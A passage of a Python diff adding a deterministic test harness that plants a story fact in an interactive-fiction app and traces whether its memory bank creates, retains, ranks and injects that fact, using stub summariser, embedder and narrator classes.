+        "detail": (f"narration after the planting block (ends at depth {block_end}) "
+                   f"mentions the fact at depths {later_hits[:10]}") if later_hits
+        else f"no narrator turn after depth {block_end} mentions the fact",
+    }
+
+    active = summaries.current(db, adventure)
+    summary_text = active.text if active is not None else ""
+    if recall_snapshot is not None:
+        summary_text += "\n" + _section(recall_snapshot, SUMMARY_LABEL)
+    checks["summary"] = {
+        "ok": not fact.mentioned_by(summary_text),
+        "detail": "the active summary mentions the fact" if fact.mentioned_by(summary_text)
+        else ("absent from the active summary" if active is not None else "no summary yet"),
+    }
+
+    sources = db.execute(
+        select(models.KnowledgeSource.content).where(
+            models.KnowledgeSource.adventure_id == adventure.id)
+    ).scalars().all()
+    knowledge_text = "\n".join(s or "" for s in sources)
+    if recall_snapshot is not None:
+        knowledge_text += "\n" + "\n".join(_section(recall_snapshot, l) for l in KNOWLEDGE_LABELS)
+    checks["knowledge"] = {
+        "ok": not fact.mentioned_by(knowledge_text),
+        "detail": "imported knowledge mentions the fact" if fact.mentioned_by(knowledge_text)
+        else f"absent from {len(sources)} imported source(s)",
+    }
+
+    if recall_snapshot is not None:
+        hist = recall_snapshot.get("history") or {}
+        floor = hist.get("floor_depth")
+        history_text = "\n".join(_section(recall_snapshot, l) for l in HISTORY_LABELS)
+        outside = floor is not None and plant_depth < floor
+        checks["recent_history"] = {
+            "ok": outside and not fact.carried_by(history_text),
+            "detail": (f"history window starts at depth {floor}; planted at {plant_depth}; "
+                       f"fact text in history sections: {fact.carried_by(history_text)}"),
+        }
+        checks["state_section"] = {
+            "ok": not fact.mentioned_by(_section(recall_snapshot, STATE_LABEL)),
+            "detail": "the recall prompt's narrative_state section "
+                      + ("mentions the fact" if fact.mentioned_by(_section(recall_snapshot, STATE_LABEL))
+                         else "does not mention the fact"),
+        }
+
+    return {"ok": all(c["ok"] for c in checks.values()), "checks": checks}
+
+
+def _section(snapshot: dict, label: str) -> str:
+    return "\n".join(s.get("text", "") for s in (snapshot.get("sections") or [])
+                     if s.get("label") == label)
+
+
+# ------------------------------------------------------------------- stages
+
+async def rank_bank(db, adventure, settings, query: dict, embed) -> dict:
+    """Production's ranking, recomputed for `query`, for every eligible memory.
+
+    `query` is a `memorybank.retrieval_query` dict. The catalogue clause, the
+    scoring (`memorybank.score_candidates`) and the selection with its pins and
+    redundancy rule (`memorybank.select_memories`) are production's own
+    functions, so this is production's ranking, not a second opinion. Returns
+    every scored row, not just the top-k, because "where did F rank" is the
+    question.
+    """
+    catalogue = db.execute(
+        select(models.Memory.id, models.Memory.pinned, models.Memory.authority,
+               models.Memory.embedding_blob, models.Memory.text).where(
+            models.Memory.adventure_id == adventure.id,
+            lineage.path_of(db, adventure).clause(models.Memory),
+            models.Memory.forgotten.is_(False),
+            models.Memory.embedded.is_(True),
+        )
+    ).all()
+    top_k = max(1, settings.memory_top_k)
+    texts = [t for t in (query["input"], query["context"]) if t.strip()]
+    if not catalogue or not texts:
+        return {"query": query, "scored": [], "selected": [], "top_k": top_k}
+    vectors_by_text = dict(zip(texts, await embed(texts)))
+    input_vec = vectors_by_text.get(query["input"]) if query["input"].strip() else None
+    context_vec = vectors_by_text.get(query["context"]) if query["context"].strip() else None
+    held = {row.id: vectors.unpack(row.embedding_blob) for row in catalogue if row.embedding_blob}
+    terms_of = ({row.id: memorybank.lexical_terms(row.text or "") for row in catalogue}
+                if query["input_terms"] else {})
+    authority_of = {row.id: row.authority for row in catalogue}
+    pinned_of = {row.id: row.pinned for row in catalogue}
+    scored = memorybank.score_candidates(
+        [row.id for row in catalogue if row.id in held], held, terms_of,
+        input_vec, context_vec, query["input_terms"])
+    used, suppressed = memorybank.select_memories(scored, pinned_of, held, authority_of, top_k)
+    selected = {row[1] for row in used}
+    suppressed_by = dict(suppressed)
+    return {
+        "query": query,
+        "top_k": top_k,
+        "scored": [
+            {"rank": i + 1, "memory_id": memory_id, "similarity": round(semantic, 4),
+             "semantic_score": round(semantic, 4), "lexical_score": round(lexical, 4),
+             "final_score": round(final, 4),
+             "pinned": pinned_of[memory_id], "selected": memory_id in selected,
+             "suppressed_as_duplicate_of": suppressed_by.get(memory_id)}
+            for i, (final, memory_id, semantic, lexical) in enumerate(scored)
+        ],
+        "selected": sorted(selected),
+    }
+
+
+def production_query(adventure, exclude_action_id: int | None) -> dict:
+    """The retrieval query a turn used, built by production's own `retrieval_query`."""
+    return memorybank.retrieval_query(adventure, exclude_action_id)
+
+
+def variant_query(base: dict, player_input: str) -> dict:
+    """`base` with a different player input: "what if the player had asked this
+    here", with the scene and narration context the recall turn really had."""
+    return {"input": player_input, "context": base["context"],
+            "input_terms": sorted(memorybank.lexical_terms(player_input))}
+
+
+def eviction_order(db, adventure) -> list[int]:
+    """The order `_evict_over_capacity` would take unpinned active memories in.
+
+    Production's own `memorybank.eviction_order`, run to the end of the bank."""
+    rows = db.execute(
+        select(models.Memory.id, models.Memory.pinned, models.Memory.source_start,
+               models.Memory.source_end, models.Memory.last_used_at,
+               models.Memory.created_at, models.Memory.use_count).where(
+            models.Memory.adventure_id == adventure.id,
+            models.Memory.forgotten.is_(False),
+        )
+    ).all()
+    return memorybank.eviction_order(rows, len(rows))
+
+
+def coverage(ranges: list[tuple[int, int]], tip: int | None) -> dict:
+    """How much of the story `ranges` (active memories' source ranges) describe.
+
+    `largest_gap` is the longest run of depths, between the first memory's start
+    and `tip`, that no memory covers. It is how the eviction rule is judged in
+    general, not only for the planted fact."""
+    if not ranges:
+        return {"first_start": None, "last_end": None, "largest_gap": None}
+    ordered = sorted(ranges)
+    gaps = []
+    reach = ordered[0][1]
+    for start, end in ordered[1:]:
+        gaps.append(max(0, start - reach - 1))
+        reach = max(reach, end)
+    return {"first_start": ordered[0][0], "last_end": reach,
+            "largest_gap": max(gaps, default=0)}
+
+
+async def diagnose(db, adventure, settings, fact: Fact, plant_depth: int, *,
+                   recall_action: models.Action, embed) -> dict:
+    """The four stages for `fact`, judged at `recall_action`, the recall turn's AI node.
+
+    Ranking is recomputed with the query that turn used, and checked against the
+    turn's own stored `memories.used`. Injection is read from that snapshot, so
+    it reports what the narrator was actually given, not a re-run.
+    """
+    snapshot = recall_action.context_snapshot or {}
+    out: dict = {"fact_id": fact.fact_id, "plant_depth": plant_depth,
+                 "recall_depth": recall_action.depth}
+
+    covering = covering_memories(db, adventure, plant_depth)
+    carrying = [m for m in covering if fact.carried_by(m.text)]
+    elsewhere = [m for m in db.execute(select(models.Memory).where(
+        models.Memory.adventure_id == adventure.id)).scalars().all()
+        if fact.carried_by(m.text) and m not in carrying]
+    creation_input = []
+    for memory in covering:
+        block = memorybank.source_block(db, memory)
+        raw = "\n\n".join(a.text for a in block)
+        excerpt = memorybank.memory_excerpt(raw)  # what `summarize_block` sends
+        creation_input.append({
+            "memory_id": memory.id, "source_start": memory.source_start,
+            "source_end": memory.source_end, "block_tokens": builder.count_tokens(raw),
+            "fact_in_block": fact.carried_by(raw),
+            "fact_in_summariser_excerpt": fact.carried_by(excerpt),
+            "memory_text": memory.text,
+        })
+    memory = carrying[0] if carrying else None
+    out["created"] = {
+        "yes": memory is not None,
+        "memory_id": getattr(memory, "id", None),
+        "source_start": getattr(memory, "source_start", None),
+        "source_end": getattr(memory, "source_end", None),
+        "memory_text": getattr(memory, "text", None),
+        "covering_memories": creation_input,
+        "no_covering_memory": not covering,
+        "carried_by_other_memories": [
+            {"memory_id": m.id, "source_start": m.source_start, "source_end": m.source_end}
+            for m in elsewhere],
+    }
+
+    if memory is None:
+        out["verdict"] = "not_created"
+        return out
+
+    order = eviction_order(db, adventure)
+    active = db.execute(select(models.Memory.id).where(
+        models.Memory.adventure_id == adventure.id,
+        models.Memory.forgotten.is_(False))).scalars().all()
+    on_lineage = db.execute(select(models.Memory.id).where(
+        models.Memory.id == memory.id,
+        lineage.path_of(db, adventure).clause(models.Memory))).scalar() is not None
+    out["retained"] = {
+        "yes": not memory.forgotten,
+        "forgotten": memory.forgotten,
+        "pinned": memory.pinned,
+        "embedded": memory.embedded,
+        "on_active_lineage": on_lineage,
+        "use_count": memory.use_count,
+        "last_used_at": str(memory.last_used_at) if memory.last_used_at else None,
+        "created_at": str(memory.created_at),
+        "active_memories": len(active),
+        "memory_bank_capacity": settings.memory_bank_capacity,
+        "eviction_position": (order.index(memory.id) + 1) if memory.id in order else None,
+        "reason": ("evicted: marked forgotten by capacity eviction" if memory.forgotten
+                   else "active"),
+    }
+    if memory.forgotten:
+        out["verdict"] = "created_but_evicted"
+        return out
+
+    # The recall turn's AI node is excluded, so the newest action is the recall
+    # player action, exactly as the turn saw it before it wrote its reply.
+    query = production_query(adventure, recall_action.id)
+    ranking = await rank_bank(db, adventure, settings, query, embed)
+    row = next((r for r in ranking["scored"] if r["memory_id"] == memory.id), None)
+    stored_used = [m.get("id") for m in (snapshot.get("memories") or {}).get("used") or []]
+    out["ranked"] = {
+        "yes": row is not None and row["rank"] <= ranking["top_k"],
+        "eligible": row is not None,
+        "lexical_score": row["lexical_score"] if row else None,
+        "semantic_score": row["semantic_score"] if row else None,
+        "final_score": row["final_score"] if row else None,
+        "selected_top_k": ranking["selected"],
+        "pin_effect": "always selected" if memory.pinned else "none",
+        "rank": row["rank"] if row else None,
+        "of": len(ranking["scored"]),
+        "top_k_cutoff": ranking["top_k"],
+        "selected": bool(row and row["selected"]),
+        "suppressed_as_duplicate_of": row["suppressed_as_duplicate_of"] if row else None,
+        "query": query,
+        "replica_matches_stored_selection": sorted(stored_used) == ranking["selected"],
+    }
+    if row is None or row["rank"] > ranking["top_k"] and not row["selected"]:
+        out["verdict"] = "retained_but_not_ranked"
+        return out
+    if not row["selected"]:
+        out["verdict"] = "ranked_but_not_selected"
+        return out
+
+    section = _section(snapshot, MEMORIES_LABEL)
+    injected = memory.id in stored_used and memory.text in section
+    out["injected"] = {
+        "yes": injected,
+        "context_component": MEMORIES_LABEL,
+        "in_stored_memories_used": memory.id in stored_used,
+        "text_in_section": memory.text in section,
+        "token_count": builder.count_tokens(section) if section else 0,
+    }
+    out["verdict"] = "injected" if injected else "selected_but_not_injected"
+    return out
+
+
+# ---------------------------------------------------------------- the stubs
+
+@dataclass
+class BestCaseSummariser:
+    """The ideal memory writer: F survives if, and only if, F reached it.
+
+    A memory keeps every sentence of the excerpt that carries a planted fact, and
+    adds one sentence naming the block's own distinct detail so memories differ.
+    Summary updates never repeat a planted fact, so the summary layer stays out of
+    the experiment. Every excerpt it was given is kept, for the creation-window
+    diagnostic.
+    """
+
+    facts: tuple[Fact, ...] = (FACT_F, FACT_G)
+    excerpts: list = field(default_factory=list)
+
+    async def complete(self, system, user, *, temperature=0.3, max_tokens=400):
+        if "Current story summary:" in user:
+            return "The travellers kept moving through the country around Westhaven."
+        excerpt = user.split("Story excerpt:\n\n", 1)[-1].rsplit("\n\nMemory:", 1)[0]
+        self.excerpts.append(excerpt)
+        kept = [s.strip() for s in re.split(r"(?<=[.!?])\s+", excerpt)
+                if any(f.carried_by(s) for f in self.facts)]
+        detail = re.findall(r"\bat the ([a-z]+ [a-z]+)\b", excerpt.lower())
+        tail = f"The travellers spent time at the {detail[-1]}." if detail else \
+            "The travellers pressed on."
+        return " ".join(dict.fromkeys(kept + [tail]))
+
+
+#: Words that mean the same thing to `ConceptEmbedder`. The point is only that a
+#: paraphrase lands near the original; the table is the model of that.
+CONCEPTS = {
+    "timepiece": ("sundial", "dial", "hour", "hours", "clock", "timepiece"),
+    "vessel": ("teapot", "pot", "kettle", "tea", "jar"),
+    "hid": ("hid", "hide", "hidden", "slipped", "tucked", "put", "stashed"),
+    "weathervane": ("weathervane", "vane"),
+    "waterwheel": ("waterwheel", "wheel", "mill"),
+}
+_WORD_TO_CONCEPT = {w: c for c, words in CONCEPTS.items() for w in words}
+DIMENSIONS = 96
+
+
+@dataclass
+class ConceptEmbedder:
+    """A deterministic embedding: concepts in fixed dimensions, other words hashed."""
+
+    calls: int = 0
+
+    async def embed(self, texts):
+        self.calls += 1
+        return [self.vector(t) for t in texts]
+
+    @staticmethod
+    def vector(text: str) -> list[float]:
+        v = [0.0] * DIMENSIONS
+        v[0] = 0.2  # every text shares a little, as real embeddings do
+        concept_names = list(CONCEPTS)
+        for word in re.findall(r"[a-z]+", text.lower()):
+            concept = _WORD_TO_CONCEPT.get(word)
+            if concept is not None:
+                v[1 + concept_names.index(concept)] += 3.0
+            elif len(word) > 3:
+                bucket = int(hashlib.sha256(word.encode()).hexdigest(), 16)
+                v[1 + len(concept_names) + bucket % (DIMENSIONS - 1 - len(concept_names))] += 1.0
+        norm = math.sqrt(sum(x * x for x in v)) or 1.0
+        return [x / norm for x in v]
+
+
+# ---------------------------------------------------------------- scenarios
+
+#: Filler places. No word here is in `CONCEPTS`, and none names a planted fact.
+PLACES = (
+    "north gate", "salt market", "ferry landing", "chapel steps", "rope walk",
+    "fish stalls", "old bridge", "tanner yard", "lamp street", "weir path",
+    "grain store", "boat yard", "watch house", "cloth hall", "eel traps",
+    "sheep fold", "smith forge", "stone quay", "reed beds", "toll booth",
+)
+PARAPHRASE_QUERY = "I ask Mara where she tucked the little brass dial that tells the hour."
+UNRELATED_QUERY = "I ask the ferryman what rope costs at the landing this season."
+#: Built only from words every fixture memory holds ("travellers", "spent",
+#: "time"), so its rarity weight is zero everywhere.
+COMMON_WORDS_QUERY = "The travellers spent time."
+
+
+def filler_prose(index: int, words: int) -> str:
+    """Narration that moves on and never touches a planted fact."""
+    place = PLACES[index % len(PLACES)]
+    sentence = (f"At the {place} the travellers stopped, listened to the gulls over the "
+                f"grey water, and talked about the long road north.")
+    reps = max(1, round(words / len(sentence.split())))
+    return " ".join([sentence] * reps)
+
+
+@dataclass
+class Scenario:
+    """One deterministic campaign. Depths: the opening is 0, turn *n*'s player
+    action is 2n-1 and its reply 2n."""
+
+    name: str
+    turns: int = 52
+    capacity: int = 80
+    top_k: int = 5
+    budget: int = 4096
+    prose_words: int = 60
+    plant_turn: int = 1
+    recall_text: str = "I ask Mara where she hid the amber sundial."
+    pin_first_memory: bool = False
+    lineage_control: bool = False
+    diagnose_recall: bool = True
+    #: The narration of the last turn before recall, when a fixture needs the
+    #: scene to say something (WP-B.2's context-dependent question). Must not
+    #: name a planted fact.
+    pre_recall_reply: str = ""
+
+
+SCENARIOS = {
+    "independent_default": Scenario("independent_default"),
+    "past_capacity": Scenario("past_capacity", capacity=6),
+    "past_capacity_pinned": Scenario("past_capacity_pinned", capacity=6, pin_first_memory=True),
+    # Closer to the shipped ratio (memory_top_k 5 against capacity 80): most of
+    # the bank is not retrieved on a given turn.
+    "past_capacity_low_top_k": Scenario("past_capacity_low_top_k", capacity=8, top_k=2),
+    "long_block_fact_early": Scenario("long_block_fact_early", turns=10, prose_words=850,
+                                      plant_turn=1, budget=16384),
+    "long_block_fact_late": Scenario("long_block_fact_late", turns=10, prose_words=850,
+                                     plant_turn=3, budget=16384),
+    "lineage_control": Scenario("lineage_control", lineage_control=True),
+    # v1.1 WP-B.2: the ranking failure B.1 saw on the real model, made
+    # deterministic. Longer narration fills the v1.0.0 query, and `memory_top_k`
+    # is the real run's 4. Below capacity, isolation valid.
+    "ranking_crowded": Scenario("ranking_crowded", prose_words=150, top_k=4),
+    # v1.1 WP-B.2: all three B.1 failures at once. Every block is longer than the
+    # summariser's excerpt, narration crowds the query at `memory_top_k` 4, and
+    # the bank passes a capacity of 8 long before recall at depth 106.
+    "independent_full": Scenario("independent_full", prose_words=850, top_k=4,
+                                 capacity=8, budget=16384),
+    # v1.1 WP-B.2: a question that names neither the sundial nor the teapot and
+    # cannot be answered without the scene. The last narration puts Mara at the
+    # tavern's top shelf; the player asks "her" what she put "up there".
+    "ranking_context_dependent": Scenario(
+        "ranking_context_dependent", prose_words=150, top_k=4,
+        recall_text="I ask her what she keeps up there.",
+        pre_recall_reply=("Mara stands on a stool at the tavern's top shelf, running a cloth "
+                          "around the old kettle up there, and she will not meet your eye.")),
+}
+
+
+class ScriptNarrator:
+    """Stands in for the narrator: returns `next_reply`, with an empty state block."""
+
+    next_reply = ""
+    last_usage = None
+    prompts: list = []
+
+    def __init__(self, *a, **k):
+        pass
+
+    async def generate(self, parts, *, temperature, max_tokens):
+        ScriptNarrator.prompts.append((parts.system, parts.story))
+        yield ("text", ScriptNarrator.next_reply)
+
+
+def run_scenario(scenario: Scenario) -> dict:
+    """Plays `scenario` through the real turn route and returns everything measured.
+
+    Uses the database `app.database` is already bound to, creating and dropping
+    its tables, the way the suite's fixtures do. Patches are applied here and
+    removed before returning, so this runs the same under pytest and from the CLI.
+    """
+    import asyncio
+
+    from fastapi import Depends
+    from fastapi.testclient import TestClient
+    from sqlalchemy.orm import undefer
+
+    from app import auth, limits
+    from app.database import Base, SessionLocal, engine, get_db
+    from app.main import app
+    from app.routers import adventures as adventure_routes
+
+    summariser = BestCaseSummariser()
+    embedder = ConceptEmbedder()
+    patches = [
+        (memorybank, "summary_provider", lambda s: summariser),
+        (memorybank, "embedding_provider", lambda s: embedder),
+        # Post-turn work is settled explicitly after each turn, so eviction
+        # happens at a known point rather than whenever a background task runs.
+        (memorybank, "schedule_post_turn", lambda adventure: None),
+        (adventure_routes.turns, "OpenAICompatibleProvider", ScriptNarrator),
+        (limits, "check_row_cap", lambda *a, **k: None),
+    ]
+    saved = [(obj, name, getattr(obj, name)) for obj, name, _ in patches]
+    for obj, name, value in patches:
+        setattr(obj, name, value)
+    ScriptNarrator.prompts = []
+
+    Base.metadata.create_all(bind=engine)
+    memorybank._vector_cache.clear()
+    with SessionLocal() as db:
+        user = models.User(is_guest=False, email=f"b1-{scenario.name}@example.com")
+        db.add(user)
+        db.flush()
+        db.add(models.Settings(
+            user_id=user.id, model="script", endpoint_url="http://127.0.0.1:9/v1",
+            embedding_model="concept-embed", context_token_budget=scenario.budget,
+            max_output_tokens=500, memory_bank_capacity=scenario.capacity,
+            memory_top_k=scenario.top_k,
+        ))
+        adventure = models.Adventure(
+            user_id=user.id, title=f"B.1 {scenario.name}", memory_bank_enabled=True,
+            auto_summarize=True, persona_name="Aldric",
+        )
+        db.add(adventure)
+        db.flush()
+        db.add(models.Action(adventure_id=adventure.id, type="start",
+                             text="Rain over Westhaven, and the tavern door banging in the wind."))
+        db.commit()
+        adv, user_id = adventure.id, user.id
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    client = TestClient(app)
+    result: dict = {"scenario": scenario.__dict__.copy(), "trace": []}
+
+    def call(method, path, body=None, expect=200):
+        response = client.request(method, f"/api/adventures/{adv}{path}", json=body)
+        assert response.status_code == expect, (path, response.status_code, response.text[:300])
+        return response.json() if response.content else None
+
+    def marks():
+        with SessionLocal() as db:
+            rows = db.execute(select(models.Memory.id, models.Memory.forgotten,
+                                     models.Memory.embedded).where(
+                models.Memory.adventure_id == adv)).all()
+            summaries_n = db.query(models.Summary).filter_by(adventure_id=adv).count()
+        return tuple(sorted(rows)), summaries_n
+
+    def settle():
+        for _ in range(12):
+            before = marks()
+            asyncio.run(memorybank.run_post_turn(adv))
+            if marks() == before:
+                return
+
+    def memories():
+        with SessionLocal() as db:
+            return [dict(row._mapping) for row in db.execute(select(
+                models.Memory.id, models.Memory.text, models.Memory.source_start,
+                models.Memory.source_end, models.Memory.forgotten, models.Memory.pinned,
+                models.Memory.use_count, models.Memory.last_used_at, models.Memory.branch_id,
+                models.Memory.created_at).where(models.Memory.adventure_id == adv)
+                .order_by(models.Memory.id)).all()]
+
+    def per_turn_isolation(adventure_id):
+        with SessionLocal() as db:
+            adventure = db.get(models.Adventure, adventure_id)
+            active = summaries.current(db, adventure)
+            return {
+                "f_in_state": FACT_F.mentioned_by(json.dumps(adventure.narrative_state or {},
+                                                             default=str)),
+                "f_in_summary": FACT_F.mentioned_by(active.text if active is not None else ""),
+            }
+
+    def turn(kind, text, reply):
+        ScriptNarrator.next_reply = f"{reply}\n```state\n{{\"events\": []}}\n```"
+        response = client.post(f"/api/adventures/{adv}/actions", json={"type": kind, "text": text})
+        assert response.status_code == 200, response.text[:300]
+        assert '"type": "error"' not in response.text, response.text[-300:]
+
+    plant_depth = None
+    f_memory_id = None
+    pinned_id = None
+    known: dict[int, dict] = {}
+    g: dict = {}
+    try:
+        for n in range(1, scenario.turns + 1):
+            if n == scenario.plant_turn:
+                turn("story", FACT_F.sentence, filler_prose(n, scenario.prose_words))
+                with SessionLocal() as db:
+                    plant_depth = db.query(models.Action.depth).filter_by(
+                        adventure_id=adv, text=FACT_F.sentence).scalar()
+            elif scenario.lineage_control and n == 21:
+                call("POST", "/checkpoints", {"name": "before the mill"}, expect=201)
+                turn("story", FACT_G.sentence, filler_prose(n, scenario.prose_words))
+                with SessionLocal() as db:
+                    g["plant_depth"] = db.query(models.Action.depth).filter_by(
+                        adventure_id=adv, text=FACT_G.sentence).scalar()
+            elif scenario.lineage_control and n == 30:
+                # Line A carries G's memory. Mark it, then abandon it: Undo back
+                # to before G was planted and write something else.
+                g["line_a"] = call("POST", "/checkpoints", {"name": "line A, after the mill"},
+                                   expect=201)["id"]
+                with SessionLocal() as db:
+                    g_rows = [m for m in db.execute(select(models.Memory).where(
+                        models.Memory.adventure_id == adv)).scalars() if FACT_G.carried_by(m.text)]
+                    g["memory_ids"] = [m.id for m in g_rows]
+                with SessionLocal() as db:
+                    g["last_action_id_before_divergence"] = db.query(models.Action.id).filter_by(
+                        adventure_id=adv).order_by(models.Action.id.desc()).limit(1).scalar()
+                for _ in range(9):
+                    call("POST", "/undo")
+                turn("do", f"I turn away from the mill and walk to the {PLACES[n % len(PLACES)]}.",
+                     filler_prose(n + 100, scenario.prose_words))
+                g["diverged_at_turn"] = n
+            elif n == scenario.turns and scenario.pre_recall_reply:
+                turn("do", "I head back to the tavern.", scenario.pre_recall_reply)
+            else:
+                turn("do", f"I walk on to the {PLACES[n % len(PLACES)]}.",
+                     filler_prose(n, scenario.prose_words))
+            settle()
+
+            rows = memories()
+            created = [r["id"] for r in rows if r["id"] not in known]
+            newly_forgotten = [r["id"] for r in rows
+                               if r["forgotten"] and not known.get(r["id"], {}).get("forgotten")]
+            for r in rows:
+                known[r["id"]] = r
+            if f_memory_id is None and plant_depth is not None:
+                for r in rows:
+                    if (r["source_start"] is not None and r["source_start"] <= plant_depth
+                            <= r["source_end"] and FACT_F.carried_by(r["text"])):
+                        f_memory_id = r["id"]
+            if scenario.pin_first_memory and pinned_id is None:
+                candidate = next((r for r in rows if r["id"] != f_memory_id), None)
+                if candidate is not None:
+                    call("PATCH", f"/memories/{candidate['id']}", {"pinned": True})
+                    pinned_id = candidate["id"]
+            f_row = known.get(f_memory_id) if f_memory_id else None
+            result["trace"].append({
+                "turn": n,
+                "active": sum(1 for r in rows if not r["forgotten"]),
+                "total": len(rows),
+                "created": created,
+                "evicted": newly_forgotten,
+                "created_and_evicted_same_turn": sorted(set(created) & set(newly_forgotten)),
+                "f_memory_id": f_memory_id,
+                "f_forgotten": bool(f_row and f_row["forgotten"]),
+                "f_use_count": f_row["use_count"] if f_row else None,
+                "coverage": coverage([(r["source_start"], r["source_end"]) for r in rows
+                                      if not r["forgotten"] and r["source_start"] is not None],
+                                     None),
+                # Isolation on every turn, not only at recall (WP-B.2 acceptance).
+                **per_turn_isolation(adv),
+            })
+
+        turn("do", scenario.recall_text, filler_prose(999, scenario.prose_words))
+
+        with SessionLocal() as db:
+            adventure = db.get(models.Adventure, adv)
+            settings = db.query(models.Settings).filter_by(user_id=user_id).first()
+            recall_action = (db.query(models.Action)
+                             .filter(models.Action.adventure_id == adv,
+                                     models.Action.type == "ai")
+                             .options(undefer(models.Action.context_snapshot))
+                             .order_by(models.Action.id.desc()).first())
+            result["plant_depth"] = plant_depth
+            result["recall_depth"] = recall_action.depth
+            result["isolation"] = isolation(
+                db, adventure, FACT_F, plant_depth,
+                recall_snapshot=recall_action.context_snapshot,
+                recall_depth=recall_action.depth)
+            result["diagnosis"] = asyncio.run(diagnose(
+                db, adventure, settings, FACT_F, plant_depth,
+                recall_action=recall_action, embed=embedder.embed))
+            result["summariser_excerpts"] = len(summariser.excerpts)
+            # Provenance as the recall turn recorded it, resolved back to rows.
+            used = (recall_action.context_snapshot.get("memories") or {}).get("used") or []
+            f_entry = next((m for m in used
+                            if m.get("id") == result["diagnosis"]["created"]["memory_id"]), None)
+            f_memory = db.get(models.Memory, f_entry["id"]) if f_entry else None
+            block = memorybank.source_block(db, f_memory) if f_memory is not None else []
+            result["provenance"] = {
+                "recorded": f_entry and {k: f_entry.get(k) for k in
+                                         ("id", "source", "semantic_score", "lexical_score",
+                                          "final_score", "authority")},
+                "range_covers_plant": bool(f_entry and f_entry["source"]["source_start"]
+                                           <= plant_depth <= f_entry["source"]["source_end"]),
+                "matches_row": bool(f_memory is not None and f_entry["source"] == {
+                    "branch_id": f_memory.branch_id, "depth": f_memory.depth,
+                    "source_start": f_memory.source_start, "source_end": f_memory.source_end}),
+                "source_block_depths": [a.depth for a in block],
+                "source_block_holds_planting": any(a.text == FACT_F.sentence for a in block),
+            }
+
+            memory_id = result["diagnosis"]["created"]["memory_id"]
+            if memory_id is not None and not result["diagnosis"]["retained"]["forgotten"]:
+                variants = {}
+                base = production_query(adventure, recall_action.id)
+                # WP-B.2's negative control needs a decoy: another memory that
+                # holds a word the question adds, and nothing about F.
+                decoy = next(((m.id, found.group(1)) for m in db.execute(
+                    select(models.Memory).where(models.Memory.adventure_id == adventure.id,
+                                                models.Memory.forgotten.is_(False),
+                                                models.Memory.id != memory_id)
+                    .order_by(models.Memory.id)).scalars()
+                    if (found := re.search(r"at the ([a-z]+ [a-z]+)\.", m.text or ""))), None)
+                queries = [
+                    ("direct", variant_query(base, scenario.recall_text)),
+                    ("paraphrase", variant_query(base, PARAPHRASE_QUERY)),
+                    ("unrelated", variant_query(base, UNRELATED_QUERY)),
+                    # The player's words with the context taken away.
+                    ("input_only", {**variant_query(base, scenario.recall_text), "context": ""}),
+                    # Words every memory in these fixtures holds, and nothing else.
+                    ("common_words", variant_query(base, COMMON_WORDS_QUERY)),
+                ]
+                if decoy is not None:
+                    queries.append(("rare_word_with_paraphrase", variant_query(
+                        base, PARAPHRASE_QUERY[:-1] + f", out by the {decoy[1]}.")))
+                for label, query in queries:
+                    ranking = asyncio.run(rank_bank(db, adventure, settings, query, embedder.embed))
+                    row = next((r for r in ranking["scored"] if r["memory_id"] == memory_id), None)
+                    decoy_row = next((r for r in ranking["scored"]
+                                      if decoy is not None and r["memory_id"] == decoy[0]), None)
+                    text = query["input"]
+                    variants[label] = {"query": text, "rank": row and row["rank"],
+                                       "selected_count": len(ranking["selected"]),
+                                       "decoy_memory_id": decoy and decoy[0],
+                                       "decoy_rank": decoy_row and decoy_row["rank"],
+                                       "decoy_lexical_score": decoy_row and decoy_row["lexical_score"],
+                                       "of": len(ranking["scored"]),
+                                       "similarity": row and row["similarity"],
+                                       "lexical_score": row and row["lexical_score"],
+                                       "final_score": row and row["final_score"],
+                                       "selected": bool(row and row["selected"]),
+                                       "top_k": ranking["top_k"]}
+                result["ranking_variants"] = variants
+            if memory_id is not None:
+                result["f_first_used_turn"] = next(
+                    (t["turn"] for t in result["trace"] if (t["f_use_count"] or 0) > 0), None)
+                result["f_last_use_increase_turn"] = max(
+                    (b["turn"] for a, b in zip(result["trace"], result["trace"][1:])
+                     if (b["f_use_count"] or 0) > (a["f_use_count"] or 0)), default=None)
+
+            evicted_turn = next((t["turn"] for t in result["trace"] if t["f_forgotten"]), None)
+            first_evictions = next((t["evicted"] for t in result["trace"] if t["evicted"]), [])
+            result["eviction"] = {
+                "capacity": scenario.capacity,
+                "f_evicted_at_turn": evicted_turn,
+                "f_use_count_when_evicted": next(
+                    (t["f_use_count"] for t in result["trace"] if t["f_forgotten"]), None),
+                "first_eviction_turn": next(
+                    (t["turn"] for t in result["trace"] if t["evicted"]), None),
+                "first_evicted_ids": first_evictions,
+                "f_memory_was_first_evicted": bool(f_memory_id and f_memory_id in first_evictions),
+                "created_and_evicted_same_turn": sorted(
+                    {i for t in result["trace"] for i in t["created_and_evicted_same_turn"]}),
+                "pinned_memory_id": pinned_id,
+                "pinned_memory_forgotten": bool(pinned_id and known[pinned_id]["forgotten"]),
+            }
+
+            if scenario.lineage_control:
+                path_clause = lineage.path_of(db, adventure).clause(models.Memory)
+                stored = db.execute(select(models.Memory.id).where(
+                    models.Memory.id.in_(g.get("memory_ids") or [-1]))).scalars().all()
+                eligible = db.execute(select(models.Memory.id).where(
+                    models.Memory.id.in_(g.get("memory_ids") or [-1]), path_clause)).scalars().all()
+                used_after = set()
+                injected_text = False
+                # Only turns played after the divergence. Before it, G was on the
+                # active line, and a memory of it being used then is correct.
+                for action in (db.query(models.Action)
+                               .filter(models.Action.adventure_id == adv,
+                                       models.Action.type == "ai",
+                                       models.Action.id > g["last_action_id_before_divergence"])
+                               .options(undefer(models.Action.context_snapshot))):
+                    snap = action.context_snapshot or {}
+                    for m in (snap.get("memories") or {}).get("used") or []:
+                        if m.get("id") in (g.get("memory_ids") or []):
+                            used_after.add(action.id)
+                    if FACT_G.mentioned_by(_section(snap, MEMORIES_LABEL)):
+                        injected_text = True
+                g.update(stored=stored, eligible_on_active_line=eligible,
+                         turns_whose_memories_used_named_g=sorted(used_after),
+                         g_text_ever_in_used_memories=injected_text)
+        if scenario.lineage_control:
+            call("POST", f"/checkpoints/{g['line_a']}/restore")
+            with SessionLocal() as db:
+                adventure = db.get(models.Adventure, adv)
+                eligible = db.execute(select(models.Memory.id).where(
+                    models.Memory.id.in_(g.get("memory_ids") or [-1]),
+                    lineage.path_of(db, adventure).clause(models.Memory))).scalars().all()
+            g["eligible_after_returning_to_line_a"] = eligible
+            result["lineage_control"] = g
+        return result
+    finally:
+        for obj, name, value in saved:
